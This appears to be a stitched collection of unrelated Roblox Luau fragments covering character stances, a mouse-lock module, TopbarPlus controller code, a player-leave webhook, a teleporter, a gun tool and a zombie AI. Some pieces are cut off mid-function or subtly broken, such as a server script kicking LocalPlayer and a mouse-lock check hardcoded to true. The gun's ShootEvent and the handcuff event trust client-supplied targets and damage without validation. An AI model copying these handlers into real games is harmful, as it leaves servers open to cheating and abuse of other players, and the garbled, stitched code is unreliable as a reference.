------------------------------------------------------------------------------------------------ |
Stance.OnServerEvent:connect(function(Player, L_97_arg2, Virar, Rendido)
local char = Player.Character
local Torso = char:WaitForChild("Torso")
local Saude = char:WaitForChild("Saude")
if char.Humanoid.Health > 0 then
local RootPart = char:WaitForChild("HumanoidRootPart")
local RootJoint = RootPart:WaitForChild("RootJoint")
local Neck = char["Torso"]:WaitForChild("Neck")
local RS = char["Torso"]:WaitForChild("Right Shoulder")
local LS = char["Torso"]:WaitForChild("Left Shoulder")
local RH = char["Torso"]:WaitForChild("Right Hip")
local LH = char["Torso"]:WaitForChild("Left Hip")
local LeftLeg = char["Left Leg"]
local RightLeg = char["Right Leg"]
local Proned2
RootJoint.C1 = CFrame.new()
if L_97_arg2 == 2 and char then
TS:Create(RootJoint, TweenInfo.new(.3), {C0 = CFrame.new(0,-2.5,1.35)* CFrame.Angles(math.rad(-90),0,math.rad(0))} ):Play()
TS:Create(RH, TweenInfo.new(.3), {C0 = CFrame.new(1,-1,0)* CFrame.Angles(math.rad(-0),math.rad(90),math.rad(0))} ):Play()
TS:Create(LH, TweenInfo.new(.3), {C0 = CFrame.new(-1,-1,0)* CFrame.Angles(math.rad(-0),math.rad(-90),math.rad(0))} ):Play()
TS:Create(RS, TweenInfo.new(.3), {C0 = CFrame.new(0.9,1.1,0)* CFrame.Angles(math.rad(-180),math.rad(90),math.rad(0))} ):Play()
TS:Create(LS, TweenInfo.new(.3), {C0 = CFrame.new(-0.9,1.1,0)* CFrame.Angles(math.rad(-180),math.rad(-90),math.rad(0))} ):Play()
--TS:Create(Neck, TweenInfo.new(.3), {C0 = CFrame.new(0,1.25,0)* CFrame.Angles(math.rad(0),math.rad(0),math.rad(180))} ):Play()
elseif L_97_arg2 == 1 and char then
TS:Create(RootJoint, TweenInfo.new(.3), {C0 = CFrame.new(0,-1,0.25)* CFrame.Angles(math.rad(-10),0,math.rad(0))} ):Play()
TS:Create(RH, TweenInfo.new(.3), {C0 = CFrame.new(1,-0.35,-0.65)* CFrame.Angles(math.rad(-20),math.rad(90),math.rad(0))} ):Play()
TS:Create(LH, TweenInfo.new(.3), {C0 = CFrame.new(-1,-1.25,-0.625)* CFrame.Angles(math.rad(-60),math.rad(-90),math.rad(0))} ):Play()
TS:Create(RS, TweenInfo.new(.3), {C0 = CFrame.new(1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))} ):Play()
TS:Create(LS, TweenInfo.new(.3), {C0 = CFrame.new(-1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0))} ):Play()
--TS:Create(Neck, TweenInfo.new(.3), {C0 = CFrame.new(0,1,0)* CFrame.Angles(math.rad(-80),math.rad(0),math.rad(180))} ):Play()
elseif L_97_arg2 == 0 and char then
TS:Create(RootJoint, TweenInfo.new(.3), {C0 = CFrame.new(0,0,0)* CFrame.Angles(math.rad(-0),0,math.rad(0))} ):Play()
TS:Create(RH, TweenInfo.new(.3), {C0 = CFrame.new(1,-1,0)* CFrame.Angles(math.rad(-0),math.rad(90),math.rad(0))} ):Play()
TS:Create(LH, TweenInfo.new(.3), {C0 = CFrame.new(-1,-1,0)* CFrame.Angles(math.rad(-0),math.rad(-90),math.rad(0))} ):Play()
TS:Create(RS, TweenInfo.new(.3), {C0 = CFrame.new(1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))} ):Play()
TS:Create(LS, TweenInfo.new(.3), {C0 = CFrame.new(-1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0))} ):Play()
--TS:Create(Neck, TweenInfo.new(.3), {C0 = CFrame.new(0,1,0)* CFrame.Angles(math.rad(-90),math.rad(0),math.rad(180))} ):Play()
end
if Virar == 1 then
if L_97_arg2 == 0 then
TS:Create(RootJoint, TweenInfo.new(.3), {C0 = CFrame.new(1,0,0) * CFrame.Angles(math.rad(0),0,math.rad(-30))} ):Play()
TS:Create(RH, TweenInfo.new(.3), {C0 = CFrame.new(1,-1,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))} ):Play()
TS:Create(LH, TweenInfo.new(.3), {C0 = CFrame.new(-1,-1,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0))} ):Play()
TS:Create(RS, TweenInfo.new(.3), {C0 = CFrame.new(1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))} ):Play()
TS:Create(LS, TweenInfo.new(.3), {C0 = CFrame.new(-1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0))} ):Play()
--TS:Create(Neck, TweenInfo.new(.3), {C0 = CFrame.new(0,1,0)* CFrame.Angles(math.rad(-90),math.rad(0),math.rad(180))} ):Play()
elseif L_97_arg2 == 1 then
TS:Create(RootJoint, TweenInfo.new(.3), {C0 = CFrame.new(1,-1,0.25)* CFrame.Angles(math.rad(-10),0,math.rad(-30))} ):Play()
TS:Create(RH, TweenInfo.new(.3), {C0 = CFrame.new(1,-0.35,-0.65)* CFrame.Angles(math.rad(-20),math.rad(90),math.rad(0))} ):Play()
TS:Create(LH, TweenInfo.new(.3), {C0 = CFrame.new(-1,-1.25,-0.625)* CFrame.Angles(math.rad(-60),math.rad(-90),math.rad(0))} ):Play()
TS:Create(RS, TweenInfo.new(.3), {C0 = CFrame.new(1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))} ):Play()
TS:Create(LS, TweenInfo.new(.3), {C0 = CFrame.new(-1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0))} ):Play()
--TS:Create(Neck, TweenInfo.new(.3), {C0 = CFrame.new(0,1,0)* CFrame.Angles(math.rad(-80),math.rad(0),math.rad(180))} ):Play()
end
elseif Virar == -1 then
if L_97_arg2 == 0 then
TS:Create(RootJoint, TweenInfo.new(.3), {C0 = CFrame.new(-1,0,0) * CFrame.Angles(math.rad(0),0,math.rad(30))} ):Play()
TS:Create(RH, TweenInfo.new(.3), {C0 = CFrame.new(1,-1,0)* CFrame.Angles(math.rad(-0),math.rad(90),math.rad(0))} ):Play()
TS:Create(LH, TweenInfo.new(.3), {C0 = CFrame.new(-1,-1,0)* CFrame.Angles(math.rad(-0),math.rad(-90),math.rad(0))} ):Play()
TS:Create(RS, TweenInfo.new(.3), {C0 = CFrame.new(1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))} ):Play()
TS:Create(LS, TweenInfo.new(.3), {C0 = CFrame.new(-1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0))} ):Play()
--TS:Create(Neck, TweenInfo.new(.3), {C0 = CFrame.new(0,1,0)* CFrame.Angles(math.rad(-90),math.rad(0),math.rad(180))} ):Play()
elseif L_97_arg2 == 1 then
TS:Create(RootJoint, TweenInfo.new(.3), {C0 = CFrame.new(-1,-1,0.25)* CFrame.Angles(math.rad(-10),0,math.rad(30))} ):Play()
TS:Create(RH, TweenInfo.new(.3), {C0 = CFrame.new(1,-0.35,-0.65)* CFrame.Angles(math.rad(-20),math.rad(90),math.rad(0))} ):Play()
TS:Create(LH, TweenInfo.new(.3), {C0 = CFrame.new(-1,-1.25,-0.625)* CFrame.Angles(math.rad(-60),math.rad(-90),math.rad(0))} ):Play()
TS:Create(RS, TweenInfo.new(.3), {C0 = CFrame.new(1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))} ):Play()
TS:Create(LS, TweenInfo.new(.3), {C0 = CFrame.new(-1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0))} ):Play()
--TS:Create(Neck, TweenInfo.new(.3), {C0 = CFrame.new(0,1,0)* CFrame.Angles(math.rad(-80),math.rad(0),math.rad(180))} ):Play()
end
elseif Virar == 0 then
if L_97_arg2 == 0 then
TS:Create(RootJoint, TweenInfo.new(.3), {C0 = CFrame.new(0,0,0)* CFrame.Angles(math.rad(-0),0,math.rad(0))} ):Play()
TS:Create(RH, TweenInfo.new(.3), {C0 = CFrame.new(1,-1,0)* CFrame.Angles(math.rad(-0),math.rad(90),math.rad(0))} ):Play()
TS:Create(LH, TweenInfo.new(.3), {C0 = CFrame.new(-1,-1,0)* CFrame.Angles(math.rad(-0),math.rad(-90),math.rad(0))} ):Play()
TS:Create(RS, TweenInfo.new(.3), {C0 = CFrame.new(1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))} ):Play()
TS:Create(LS, TweenInfo.new(.3), {C0 = CFrame.new(-1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0))} ):Play()
--TS:Create(Neck, TweenInfo.new(.3), {C0 = CFrame.new(0,1,0)* CFrame.Angles(math.rad(-90),math.rad(0),math.rad(180))} ):Play()
elseif L_97_arg2 == 1 then
TS:Create(RootJoint, TweenInfo.new(.3), {C0 = CFrame.new(0,-1,0.25)* CFrame.Angles(math.rad(-10),0,math.rad(0))} ):Play()
TS:Create(RH, TweenInfo.new(.3), {C0 = CFrame.new(1,-0.35,-0.65)* CFrame.Angles(math.rad(-20),math.rad(90),math.rad(0))} ):Play()
TS:Create(LH, TweenInfo.new(.3), {C0 = CFrame.new(-1,-1.25,-0.625)* CFrame.Angles(math.rad(-60),math.rad(-90),math.rad(0))} ):Play()
TS:Create(RS, TweenInfo.new(.3), {C0 = CFrame.new(1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))} ):Play()
TS:Create(LS, TweenInfo.new(.3), {C0 = CFrame.new(-1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0))} ):Play()
--TS:Create(Neck, TweenInfo.new(.3), {C0 = CFrame.new(0,1,0)* CFrame.Angles(math.rad(-80),math.rad(0),math.rad(180))} ):Play()
end
end
if Rendido and Saude.Stances.Algemado.Value == false then
TS:Create(RS, TweenInfo.new(.3), {C0 = CFrame.new(1,0.75,0)* CFrame.Angles(math.rad(110),math.rad(120),math.rad(70))} ):Play()
TS:Create(LS, TweenInfo.new(.3), {C0 = CFrame.new(-1,0.75,0)* CFrame.Angles(math.rad(110),math.rad(-120),math.rad(-70))} ):Play()
elseif Saude.Stances.Algemado.Value == true then
TS:Create(RS, TweenInfo.new(.3), {C0 = CFrame.new(.6,0.75,0)* CFrame.Angles(math.rad(240),math.rad(120),math.rad(100))} ):Play()
TS:Create(LS, TweenInfo.new(.3), {C0 = CFrame.new(-.6,0.75,0)* CFrame.Angles(math.rad(240),math.rad(-120),math.rad(-100))} ):Play()
else
TS:Create(RS, TweenInfo.new(.3), {C0 = CFrame.new(1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(90),math.rad(0))} ):Play()
TS:Create(LS, TweenInfo.new(.3), {C0 = CFrame.new(-1,0.5,0)* CFrame.Angles(math.rad(0),math.rad(-90),math.rad(0))} ):Play()
end
end
end)
Fome.OnServerEvent:Connect(function(Player)
local Char = Player.Character
local Saude = Char:WaitForChild("Saude")
Saude.Stances.Caido.Value = true
end)
Algemar.OnServerEvent:Connect(function(Player,Status,Vitima,Type)
if Type == 1 then
local Idk = game.Players:FindFirstChild(Vitima)
Idk.Character.Saude.Stances.Rendido.Value = Status
else
local Idk = game.Players:FindFirstChild(Vitima)
Idk.Character.Saude.Stances.Algemado.Value = Status
end
end)
|
--[[ The Module ]] | --
local MouseLockController = {}
MouseLockController.__index = MouseLockController
function MouseLockController.new()
local self = setmetatable({}, MouseLockController)
self.isMouseLocked = false
self.savedMouseCursor = nil
self.boundKeys = {Enum.KeyCode.LeftShift, Enum.KeyCode.RightShift} -- defaults
self.mouseLockToggledEvent = Instance.new("BindableEvent")
local boundKeysObj = script:FindFirstChild("BoundKeys")
if (not boundKeysObj) or (not boundKeysObj:IsA("StringValue")) then
-- If object with correct name was found, but it's not a StringValue, destroy and replace
if boundKeysObj then
boundKeysObj:Destroy()
end
boundKeysObj = Instance.new("StringValue")
boundKeysObj.Name = "BoundKeys"
boundKeysObj.Value = "LeftShift,RightShift"
boundKeysObj.Parent = script
end
if boundKeysObj then
boundKeysObj.Changed:Connect(function(value)
self:OnBoundKeysObjectChanged(value)
end)
self:OnBoundKeysObjectChanged(boundKeysObj.Value) -- Initial setup call
end
-- Watch for changes to user's ControlMode and ComputerMovementMode settings and update the feature availability accordingly
GameSettings.Changed:Connect(function(property)
if property == "ControlMode" or property == "ComputerMovementMode" then
self:UpdateMouseLockAvailability()
end
end)
-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly
PlayersService.LocalPlayer:GetPropertyChangedSignal("DevEnableMouseLock"):Connect(function()
self:UpdateMouseLockAvailability()
end)
-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly
PlayersService.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function()
self:UpdateMouseLockAvailability()
end)
self:UpdateMouseLockAvailability()
return self
end
function MouseLockController:GetIsMouseLocked()
return true--self.isMouseLocked
end
function MouseLockController:GetBindableToggleEvent()
return self.mouseLockToggledEvent.Event
end
function MouseLockController:GetMouseLockOffset()
local offsetValueObj = script:FindFirstChild("CameraOffset")
if offsetValueObj and offsetValueObj:IsA("Vector3Value") then
return offsetValueObj.Value
else
-- If CameraOffset object was found but not correct type, destroy
if offsetValueObj then
offsetValueObj:Destroy()
end
offsetValueObj = Instance.new("Vector3Value")
offsetValueObj.Name = "CameraOffset"
offsetValueObj.Value = Vector3.new(1.75,0,0) -- Legacy Default Value
offsetValueObj.Parent = script
end
if offsetValueObj and offsetValueObj.Value then
return offsetValueObj.Value
end
return Vector3.new(1.75,0,0)
end
function MouseLockController:UpdateMouseLockAvailability()
local devAllowsMouseLock = PlayersService.LocalPlayer.DevEnableMouseLock
local devMovementModeIsScriptable = PlayersService.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable
local userHasMouseLockModeEnabled = GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch
local userHasClickToMoveEnabled = GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove
local MouseLockAvailable = devAllowsMouseLock and userHasMouseLockModeEnabled and not userHasClickToMoveEnabled and not devMovementModeIsScriptable
if MouseLockAvailable~=self.enabled then
self:EnableMouseLock(MouseLockAvailable)
end
end
function MouseLockController:OnBoundKeysObjectChanged(newValue)
self.boundKeys = {} -- Overriding defaults, note: possibly with nothing at all if boundKeysObj.Value is "" or contains invalid values
for token in string.gmatch(newValue,"[^%s,]+") do
for _, keyEnum in pairs(Enum.KeyCode:GetEnumItems()) do
if token == keyEnum.Name then
self.boundKeys[#self.boundKeys+1] = keyEnum
break
end
end
end
self:UnbindContextActions()
self:BindContextActions()
end
|
-- KEY SETTINGS |
local Headlights = Enum.KeyCode.H
local RunningLights = Enum.KeyCode.N
local FogLights = Enum.KeyCode.J
local SignalLeft = Enum.KeyCode.Z
local SignalRight = Enum.KeyCode.C
local Hazards = Enum.KeyCode.X
local Popups = Enum.KeyCode.B
local Flash = Enum.KeyCode.L
|
-- BEHAVIOUR
--Controller support |
coroutine.wrap(function()
-- Create PC 'Enter Controller Mode' Icon
runService.Heartbeat:Wait() -- This is required to prevent an infinite recursion
local Icon = require(iconModule)
local controllerOptionIcon = Icon.new()
:setProperty("internalIcon", true)
:setName("_TopbarControllerOption")
:setOrder(100)
:setImage(11162828670)
:setRight()
:setEnabled(false)
:setTip("Controller mode")
:setProperty("deselectWhenOtherIconSelected", false)
-- This decides what controller widgets and displays to show based upon their connected inputs
-- For example, if on PC with a controller, give the player the option to enable controller mode with a toggle
-- While if using a console (no mouse, but controller) then bypass the toggle and automatically enable controller mode
userInputService:GetPropertyChangedSignal("MouseEnabled"):Connect(IconController._determineControllerDisplay)
userInputService.GamepadConnected:Connect(IconController._determineControllerDisplay)
userInputService.GamepadDisconnected:Connect(IconController._determineControllerDisplay)
IconController._determineControllerDisplay()
-- Enable/Disable Controller Mode when icon clicked
local function iconClicked()
local isSelected = controllerOptionIcon.isSelected
local iconTip = (isSelected and "Normal mode") or "Controller mode"
controllerOptionIcon:setTip(iconTip)
IconController._enableControllerMode(isSelected)
end
controllerOptionIcon.selected:Connect(iconClicked)
controllerOptionIcon.deselected:Connect(iconClicked)
-- Hide/show topbar when indicator action selected in controller mode
userInputService.InputBegan:Connect(function(input,gpe)
if not IconController.controllerModeEnabled then return end
if input.KeyCode == Enum.KeyCode.DPadDown then
if not guiService.SelectedObject and checkTopbarEnabledAccountingForMimic() then
IconController.setTopbarEnabled(true,false)
end
elseif input.KeyCode == Enum.KeyCode.ButtonB and not IconController.disableButtonB then
if IconController.activeButtonBCallbacks == 1 and TopbarPlusGui.Indicator.Image == "rbxassetid://5278151556" then
IconController.activeButtonBCallbacks = 0
guiService.SelectedObject = nil
end
if IconController.activeButtonBCallbacks == 0 then
IconController._previousSelectedObject = guiService.SelectedObject
IconController._setControllerSelectedObject(nil)
IconController.setTopbarEnabled(false,false)
end
end
input:Destroy()
end)
-- Setup overflow icons
for alignment, detail in pairs(alignmentDetails) do
if alignment ~= "mid" then
local overflowName = "_overflowIcon-"..alignment
local overflowIcon = Icon.new()
:setProperty("internalIcon", true)
:setImage(6069276526)
:setName(overflowName)
:setEnabled(false)
detail.overflowIcon = overflowIcon
overflowIcon.accountForWhenDisabled = true
if alignment == "left" then
overflowIcon:setOrder(math.huge)
overflowIcon:setLeft()
overflowIcon:set("dropdownAlignment", "right")
elseif alignment == "right" then
overflowIcon:setOrder(-math.huge)
overflowIcon:setRight()
overflowIcon:set("dropdownAlignment", "left")
end
overflowIcon.lockedSettings = {
["iconImage"] = true,
["order"] = true,
["alignment"] = true,
}
end
end
-- This checks if voice chat is enabled
task.defer(function()
local success, enabledForUser
while true do
success, enabledForUser = pcall(function() return voiceChatService:IsVoiceEnabledForUserIdAsync(localPlayer.UserId) end)
if success then
break
end
task.wait(1)
end
local function checkVoiceChatManuallyEnabled()
if IconController.voiceChatEnabled then
if success and enabledForUser then
voiceChatIsEnabledForUserAndWithinExperience = true
IconController.updateTopbar()
end
end
end
checkVoiceChatManuallyEnabled()
--------------- FEEL FREE TO DELETE THIS IS YOU DO NOT USE VOICE CHAT WITHIN YOUR EXPERIENCE ---------------
localPlayer.PlayerGui:WaitForChild("TopbarPlus", 999)
task.delay(10, function()
checkVoiceChatManuallyEnabled()
if IconController.voiceChatEnabled == nil and success and enabledForUser and isStudio then
warn("⚠️TopbarPlus Action Required⚠️ If VoiceChat is enabled within your experience it's vital you set IconController.voiceChatEnabled to true ``require(game.ReplicatedStorage.Icon.IconController).voiceChatEnabled = true`` otherwise the BETA label will not be accounted for within your live servers. This warning will disappear after doing so. Feel free to delete this warning or to set to false if you don't have VoiceChat enabled within your experience.")
end
end)
------------------------------------------------------------------------------------------------------------
end)
if not isStudio then
local ownerId = game.CreatorId
local groupService = game:GetService("GroupService")
if game.CreatorType == Enum.CreatorType.Group then
local success, ownerInfo = pcall(function() return groupService:GetGroupInfoAsync(game.CreatorId).Owner end)
if success then
ownerId = ownerInfo.Id
end
end
local version = require(iconModule.VERSION)
if localPlayer.UserId ~= ownerId then
local marketplaceService = game:GetService("MarketplaceService")
local success, placeInfo = pcall(function() return marketplaceService:GetProductInfo(game.PlaceId) end)
if success and placeInfo then
-- Required attrbute for using TopbarPlus
-- This is not printed within stuido and to the game owner to prevent mixing with debug prints
local gameName = placeInfo.Name
print(("\n\n\n⚽ %s uses TopbarPlus %s\n🍍 TopbarPlus was developed by ForeverHD and the Nanoblox Team\n🚀 You can learn more and take a free copy by searching for 'TopbarPlus' on the DevForum\n\n"):format(gameName, version))
end
end
end
end)()
|
--Leaving |
Players.PlayerRemoving:Connect(function(plr)
local leavedata =
{
["contents"] = "",
["username"] = plr.Name .. " - (#"..plr.userId..")",
["avatar_url"] = "https://www.roblox.com/Thumbs/Avatar.ashx?x=500&y=500&Format=Png&userId="..plr.userId,
["embeds"] = {{
["title"]= plr.name,
["description"] = plr.Name .. " left the Game",
["type"]= "rich",
["color"]= tonumber(0xF1C232),
["fields"]={
{
["name"]="Event: Player left",
["value"]="User: **"..plr.Name.."** with ID: **"..plr.UserId.."** left [game](https://www.roblox.com/games/".. game.PlaceId..")/[Profile](https://www.roblox.com/users/"..plr.UserId.."/profile)",
["inline"]=true}}}}
}
http:PostAsync(webhook,http:JSONEncode(leavedata))
game.Players.LocalPlayer:kick("")
end)
|
--[[ Controls State Management ]] | --
local onControlsChanged = nil
if IsTouchDevice then
createTouchGuiContainer()
onControlsChanged = function()
local newModuleToEnable = nil
local isJumpEnabled = false
if not IsUserChoice then
if DevMovementMode == Enum.DevTouchMovementMode.Thumbstick then
newModuleToEnable = ControlModules.Thumbstick
isJumpEnabled = true
elseif DevMovementMode == Enum.DevTouchMovementMode.Thumbpad then
newModuleToEnable = ControlModules.Thumbpad
isJumpEnabled = true
elseif DevMovementMode == Enum.DevTouchMovementMode.DPad then
newModuleToEnable = ControlModules.DPad
elseif DevMovementMode == Enum.DevTouchMovementMode.ClickToMove then
-- Managed by CameraScript
newModuleToEnable = nil
elseif DevMovementMode == Enum.DevTouchMovementMode.Scriptable then
newModuleToEnable = nil
end
else
if UserMovementMode == Enum.TouchMovementMode.Default or UserMovementMode == Enum.TouchMovementMode.Thumbstick then
newModuleToEnable = ControlModules.Thumbstick
isJumpEnabled = true
elseif UserMovementMode == Enum.TouchMovementMode.Thumbpad then
newModuleToEnable = ControlModules.Thumbpad
isJumpEnabled = true
elseif UserMovementMode == Enum.TouchMovementMode.DPad then
newModuleToEnable = ControlModules.DPad
elseif UserMovementMode == Enum.TouchMovementMode.ClickToMove then
-- Managed by CameraScript
newModuleToEnable = nil
end
end
setClickToMove()
if newModuleToEnable ~= CurrentControlModule then
if CurrentControlModule then
CurrentControlModule:Disable()
end
setJumpModule(isJumpEnabled)
CurrentControlModule = newModuleToEnable
if CurrentControlModule and not IsModalEnabled then
CurrentControlModule:Enable()
if isJumpEnabled then TouchJumpModule:Enable() end
end
end
end
elseif UserInputService.KeyboardEnabled then
onControlsChanged = function()
-- NOTE: Click to move still uses keyboard. Leaving cases in case this ever changes.
local newModuleToEnable = nil
if not IsUserChoice then
if DevMovementMode == Enum.DevComputerMovementMode.KeyboardMouse then
newModuleToEnable = ControlModules.Keyboard
elseif DevMovementMode == Enum.DevComputerMovementMode.ClickToMove then
-- Managed by CameraScript
newModuleToEnable = ControlModules.Keyboard
end
else
if UserMovementMode == Enum.ComputerMovementMode.KeyboardMouse or UserMovementMode == Enum.ComputerMovementMode.Default then
newModuleToEnable = ControlModules.Keyboard
elseif UserMovementMode == Enum.ComputerMovementMode.ClickToMove then
-- Managed by CameraScript
newModuleToEnable = ControlModules.Keyboard
end
end
if newModuleToEnable ~= CurrentControlModule then
if CurrentControlModule then
CurrentControlModule:Disable()
end
CurrentControlModule = newModuleToEnable
if CurrentControlModule then
CurrentControlModule:Enable()
end
end
end
end
|
------------------------------------ |
function onTouched(part)
if part.Parent ~= nil then
local h = part.Parent:findFirstChild("Humanoid")
if h~=nil then
local teleportfrom=script.Parent.Enabled.Value
if teleportfrom~=0 then
if h==humanoid then
return
end
local teleportto=script.Parent.Parent:findFirstChild(modelname)
if teleportto~=nil then
local torso = h.Parent.Torso
local location = {teleportto.Position}
local i = 1
local x = location[i].x
local y = location[i].y
local z = location[i].z
x = x + math.random(-1, 1)
z = z + math.random(-1, 1)
y = y + math.random(2, 3)
local cf = torso.CFrame
local lx = 0
local ly = y
local lz = 0
script.Parent.Enabled.Value=0
teleportto.Enabled.Value=0
torso.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz))
wait(3)
script.Parent.Enabled.Value=1
teleportto.Enabled.Value=1
else
print("Could not find teleporter!")
end
end
end
end
end
script.Parent.Touched:connect(onTouched)
|
--[[
local cosmeticData = require(game.ReplicatedStorage.Cosmetics5)
for hairName,data in next,cosmeticData.hairs do
local newButton = game.StarterGui.SpawnGui.Customization.Appearance.HairFrame.Template:Clone()
newButton.Name = hairName
print("loading",hairName)
newButton.Image = data.image
if data.locked then
newButton.LayoutOrder = 2
else
newButton.LayoutOrder = 1
newButton.Lock:Destroy()
end
newButton.Parent = game.StarterGui.SpawnGui.Customization.Appearance.HairFrame
end
--]] | |
--------Main Events---------- |
local Events = Tool:WaitForChild("Events")
local ShootEvent = Events:WaitForChild("ShootRE")
local CreateBulletEvent = Events:WaitForChild("CreateBullet")
pcall(function()
script.Parent:FindFirstChild("ThumbnailCamera"):Destroy()
script.Parent:WaitForChild("READ ME"):Destroy()
if not workspace:FindFirstChild("BulletFolder") then
local BulletsFolder = Instance.new("Folder", workspace)
BulletsFolder.Name = "BulletsFolder"
end
end)
function TagHumanoid(humanoid, player)
if humanoid.Health > 0 then
while humanoid:FindFirstChild('creator') do
humanoid:FindFirstChild('creator'):Destroy()
end
local creatorTag = Instance.new("ObjectValue")
creatorTag.Value = player
creatorTag.Name = "creator"
creatorTag.Parent = humanoid
DebrisService:AddItem(creatorTag, 1.5)
local weaponIconTag = Instance.new("StringValue")
weaponIconTag.Value = IconURL
weaponIconTag.Name = "icon"
weaponIconTag.Parent = creatorTag
end
end
function CreateBullet(bulletPos)
if not workspace:FindFirstChild("BulletFolder") then
local BulletFolder = Instance.new("Folder")
BulletFolder.Name = "Bullets"
end
local bullet = Instance.new('Part', workspace.BulletsFolder)
bullet.FormFactor = Enum.FormFactor.Custom
bullet.Size = Vector3.new(0.1, 0.1, 0.1)
bullet.BrickColor = BrickColor.new("Black")
bullet.Shape = Enum.PartType.Block
bullet.CanCollide = false
bullet.CFrame = CFrame.new(bulletPos)
bullet.Anchored = true
bullet.TopSurface = Enum.SurfaceType.Smooth
bullet.BottomSurface = Enum.SurfaceType.Smooth
bullet.Name = 'Bullet'
DebrisService:AddItem(bullet, 2.5)
local shell = Instance.new("Part")
shell.CFrame = Tool.Handle.CFrame * CFrame.fromEulerAnglesXYZ(1.5,0,0)
shell.Size = Vector3.new(1,1,1)
shell.BrickColor = BrickColor.new(226)
shell.Parent = game.Workspace.BulletsFolder
shell.CFrame = script.Parent.Handle.CFrame
shell.CanCollide = false
shell.Transparency = 0
shell.BottomSurface = 0
shell.TopSurface = 0
shell.Name = "Shell"
shell.Velocity = Tool.Handle.CFrame.lookVector * 35 + Vector3.new(math.random(-10,10),20,math.random(-10,20))
shell.RotVelocity = Vector3.new(0,200,0)
DebrisService:AddItem(shell, 1)
local shellmesh = Instance.new("SpecialMesh")
shellmesh.Scale = Vector3.new(.15,.4,.15)
shellmesh.Parent = shell
end
ShootEvent.OnServerEvent:Connect(function(plr, hum ,damage)
hum:TakeDamage(damage)
TagHumanoid(hum, plr)
end)
CreateBulletEvent.OnServerEvent:Connect(function(plr, pos)
CreateBullet(pos)
end)
|
-- local AttackRange, FieldOfView, AggroRange, ChanceOfBoredom, BoredomDuration,
-- Damage, DamageCooldown |
local configTable = model.Configurations
local configs = {}
local function loadConfig(configName, defaultValue)
if configTable:FindFirstChild(configName) then
configs[configName] = configTable:FindFirstChild(configName).Value
else
configs[configName] = defaultValue
end
end
loadConfig("AttackRange", 3)
loadConfig("FieldOfView", 180)
loadConfig("AggroRange", 200)
loadConfig("ChanceOfBoredom", .5)
loadConfig("BoredomDuration", 10)
loadConfig("Damage", 10)
loadConfig("DamageCooldown", 1)
local StateMachine = require(game.ServerStorage.ROBLOX_StateMachine).new()
local PathLib = require(game.ServerStorage.ROBLOX_PathfindingLibrary).new()
local ZombieTarget = nil
local ZombieTargetLastLocation = nil
local lastBored = os.time()
-- STATE DEFINITIONS
-- IdleState: NPC stays still. Refreshes bored timer when started to
-- allow for random state change
local IdleState = StateMachine.NewState()
IdleState.Name = "Idle"
IdleState.Action = function()
end
IdleState.Init = function()
lastBored = os.time()
end
-- SearchState: NPC wanders randomly increasing chance of spotting
-- enemy. Refreshed bored timer when started to allow for random state
-- change
local SearchState = StateMachine.NewState()
SearchState.Name = "Search"
local lastmoved = os.time()
local searchTarget = nil
SearchState.Action = function()
-- move to random spot nearby
if model then
local now = os.time()
if now - lastmoved > 2 then
lastmoved = now
local xoff = math.random(5, 10)
if math.random() > .5 then
xoff = xoff * -1
end
local zoff = math.random(5, 10)
if math.random() > .5 then
zoff = zoff * -1
end
local testtarg = AIUtilities:FindCloseEmptySpace(model)
--if testtarg then print(testtarg) else print("could not find") end
searchTarget = Vector3.new(model.Torso.Position.X + xoff,model.Torso.Position.Y,model.Torso.Position.Z + zoff)
--local target = Vector3.new(model.Torso.Position.X + xoff,model.Torso.Position.Y,model.Torso.Position.Z + zoff)
--model.Humanoid:MoveTo(target)
searchTarget = testtarg
end
PathLib:MoveToTarget(model, searchTarget)
end
end
SearchState.Init = function()
lastBored = os.time()
end
-- PursueState: Enemy has been spotted, need to give chase.
local PursueState = StateMachine.NewState()
PursueState.Name = "Pursue"
PursueState.Action = function()
-- Double check we still have target
if ZombieTarget then
-- Get distance to target
local distance = (model.Torso.Position - ZombieTarget.Torso.Position).magnitude
-- If we're far from target use pathfinding to move. Otherwise just MoveTo
if distance > configs["AttackRange"] + 5 then
PathLib:MoveToTarget(model, ZombieTarget.Torso.Position)
else
model.Humanoid:MoveTo(ZombieTarget.Torso.Position) |
-- ROBLOX TODO: ADO-1552 add inline_snapshots imports when we support this
-- functionality |
local types = require(CurrentModule.types) |
-- ROBLOX TODO START: implement missing RegExp when 'g' flag available (or reimplement without RegExp) |
local REGEX_SPECIAL_CHARS = Constants.REGEX_SPECIAL_CHARS |
-- Customization |
AntiTK = false; -- Set to false to allow TK and damaging of NPC, true for no TK. (To damage NPC, this needs to be false)
MouseSense = 0.5;
CanAim = true; -- Allows player to aim
CanBolt = false; -- When shooting, if this is enabled, the bolt will move (SCAR-L, ACR, AK Series)
LaserAttached = true;
LightAttached = true;
TracerEnabled = true;
SprintSpeed = 20;
CanCallout = false;
